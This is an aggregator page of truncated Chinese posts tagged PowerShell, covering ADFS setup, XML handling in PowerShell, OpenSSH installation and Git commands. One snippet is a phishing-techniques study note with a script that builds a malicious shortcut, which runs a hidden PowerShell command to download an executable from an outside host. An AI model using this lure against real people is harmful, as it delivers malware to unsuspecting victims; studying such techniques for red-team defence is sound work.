powershell

ADFS2016和ADFS代理的安装与配置

一个人想着一个人 提交于 2021-01-14 08:22:27
一,ADFS安装教程 教程链接(包含安装和配置两个步骤): https://www.virtuallyboring.com/how-to-setup-microsoft-active-directory-federation-services-adfs/ 注意事项: 1,ADFS依赖域环境,即Active Directory Domain Services (AD DS),需要加入域中!否则ADFS无法与AD通信。 2,配置阶段的证书选择,SSL可以使用泛域名证书,例如"*.mycompany.com",这时ADFS的服务名称(Federation Service Name)可以定义为adfs.mycompany.com或者sso.mycompany.com等等,且子域名可以正常解析(配置 内网DNS 去配置解析)。 如果使用“sso.mycompany.com”子域名SSL证书,ADFS的服务名称(Federation Service Name)必须一致,即“sso.mycompany.com”! 如果使用自签名证书,证书(sso.company.local)必须与SSL服务名称(必须是sso.company.local)保持一致。 3,安装并配置完毕后,先进行内网测试(因为是内网DNS) https://sso.mycompany.com/adfs/ls

How to load or read an XML file using ConvertTo-Xml and Select-Xml?

让人想犯罪 __ 提交于 2021-01-12 06:11:39
问题 How can I accomplish something like this: PS /home/nicholas/powershell> PS /home/nicholas/powershell> $date=(Get-Date | ConvertTo-Xml) PS /home/nicholas/powershell> PS /home/nicholas/powershell> $date xml Objects --- ------- version="1.0" encoding="utf-8" Objects PS /home/nicholas/powershell> PS /home/nicholas/powershell> $date.OuterXml <?xml version="1.0" encoding="utf-8"?><Objects><Object Type="System.DateTime">12/12/2020 2:43:46 AM</Object></Objects> PS /home/nicholas/powershell> but,

OpenSSH 下载与配置

生来就可爱ヽ(ⅴ<●) 提交于 2021-01-11 09:36:44
OpenSSH 是安全 Shell (SSH) 工具的开放源代码版本,Linux 及其他非 Windows 系统的管理员使用此类工具跨平台管理远程系统。OpenSSH提供了服务端后台程序和客户端工具,用来加密远程控制和文件传输过程中的数据。 Microsoft官方说明:OpenSSH 已添加至 Windows,并包含在 Windows 10 和 Windows Server 2019 中。但我没在工作的win10系统找到,所以自己进行安装了。 下载 下载地址: https://openssh.en.softonic.com/download 默认了下载路径:C:\Users\Administrator\Downloads 解压 将其解压至 C:\Program Files 目录下 该目录是官网要求的,请不要移动到其它位置 启动SSH服务 ① Win+R键——>输入CMD——>回车启动CMD终端 ② CMD进入当前C:\Program Files\OpenSSH目录 cd C:\Program Files\OpenSSH ③ 安装sshd服务 powershell.exe -ExecutionPolicy Bypass -File install-sshd.ps1 注意:powershell是windows系统自带的服务,如果提示没有powershell.exe命令时

邮件钓鱼攻击手法学习

时光怂恿深爱的人放手 提交于 2021-01-08 15:49:40
本文授权转载 来源: ChaBug 公众号 • 前言 在常年攻防演练以及红蓝对抗中常被用于红方攻击的一种进行打点的方式,由于本人只是个安服仔,接触的比较少(但也不能不学),就有了这篇文章,参考各位大佬的姿势总结一下,顺便让好哥哥们复习一下基础。 钓鱼手段 Lnk(快捷方式) 可以在“⽬标”栏写⼊⾃⼰的恶意命令,如powershell上线命令等,这里举例为CMD 当我点击谷歌浏览器时,弹出了CMD 可以进行更改图标 • 快速生成lnk样本 $WshShell = New-Object \-comObject WScript.Shell $Shortcut = $WshShell.CreateShortcut( "test.lnk" ) $Shortcut.TargetPath = "%SystemRoot%\\system32\\cmd.exe" $Shortcut.IconLocation = "%SystemRoot%\\System32\\Shell32.dll,21" $Shortcut.Arguments = "cmd /c powershell.exe -nop -w hidden -c IEX (new-object net.webclient).DownloadFile('http://192.168.1.7:8000/ascotbe.exe','.\\\

How to detect and remove empty XML tags?

天大地大妈咪最大 提交于 2021-01-08 06:44:53
问题 I've got a bunch of XML files, I wish to detect and remove empty tags inside them. like: <My></My> <Your/> <sometags> <his> </his> <hasContent>sdfaf</hasContent> </sometags> They're all kinds of empty tags ( My , Your , his ) I wish to remove. Does PowerShell support such kind of empty tag detection, no matter how deep they're embedded inside other tags? 回答1: function Format-XML { param ( [parameter(Mandatory = $true)][xml] $xml, [parameter(Mandatory = $false)][int] $indent = 4 ) try { $Error

PowerShell - Use Dynamically Created Variable Name Within a Variable Name

◇◆丶佛笑我妖孽 提交于 2021-01-07 06:57:05
问题 So I have a powershell script that I am trying to get up and running. Most of it works but what I am trying to do to make it as easy as possible to run periodically is to have it reference a list of numbers (IPs) in a text file, and then create a new variable for each line of the text file. This part does work using the following. $iplist = get-content c:\powershell\ips.txt | where-object { $_.Trim() -ne '' } $startnum = 0 foreach($line in $iplist){ $startnum++ new-variable -name "ip$startnum

Convert C# `using` and `new` to PowerShell [closed]

♀尐吖头ヾ 提交于 2021-01-07 06:34:15
问题 Closed . This question is opinion-based. It is not currently accepting answers. Want to improve this question? Update the question so it can be answered with facts and citations by editing this post. Closed 25 days ago . Improve this question There are many codes in C# that use the keywords using and new . They look very simple! How to achieve that in in PowerShell elegantly! For example I want to change the following C# code to PowerShell using (var image = new MagickImage(new MagickColor("

Convert C# `using` and `new` to PowerShell [closed]

旧城冷巷雨未停 提交于 2021-01-07 06:33:54
问题 Closed . This question is opinion-based. It is not currently accepting answers. Want to improve this question? Update the question so it can be answered with facts and citations by editing this post. Closed 25 days ago . Improve this question There are many codes in C# that use the keywords using and new . They look very simple! How to achieve that in in PowerShell elegantly! For example I want to change the following C# code to PowerShell using (var image = new MagickImage(new MagickColor("

Convert C# `using` and `new` to PowerShell [closed]

雨燕双飞 提交于 2021-01-07 06:33:34
问题 Closed . This question is opinion-based. It is not currently accepting answers. Want to improve this question? Update the question so it can be answered with facts and citations by editing this post. Closed 25 days ago . Improve this question There are many codes in C# that use the keywords using and new . They look very simple! How to achieve that in in PowerShell elegantly! For example I want to change the following C# code to PowerShell using (var image = new MagickImage(new MagickColor("

第一次使用Git(常用的dos命令整理)

依然范特西╮ 提交于 2021-01-07 04:27:03
在使用git的过程中,有许多dos命令也要会用才行 Git 工具分类 命令行 bash、cmd、power shell GUI Git GUI、GitHub Desktop IDE 集成 Visual Studio、Eclipse、IntelliJ IDE等 bash属于linux命令,cmd和power shell都是windows命令 IDE 集成这一类也是属于图像用户界面的 然后我下载了git(启动git,我们一般使用的是git bash) 打开git bash后,发现它的界面看的不舒服, 设置git bash环境: 光标颜色 默认:白色,改为:绿色 光标闪烁 默认:闪烁,改为:不闪烁 字体大小 调到自己认为合适的大小 在窗口的顶部右键,选择options 外观的设置(光标颜色,光标闪烁): 字体的设置(字体大小): 几个常见命令(是允许使用缩写的): change directory(cd) make directory(mkdir) print working directory(pwd) 打印当前路径   copy(cp) echo cat 打印文件中的内容 >这些命令和windows中常用的dos命令倒也颇为相似 ls 打印当前目录中的资源(文件或文件夹) .. 表示上一级目录(可以配合cd使用,也可以配合ls使用) mv rm ls -l -a 补充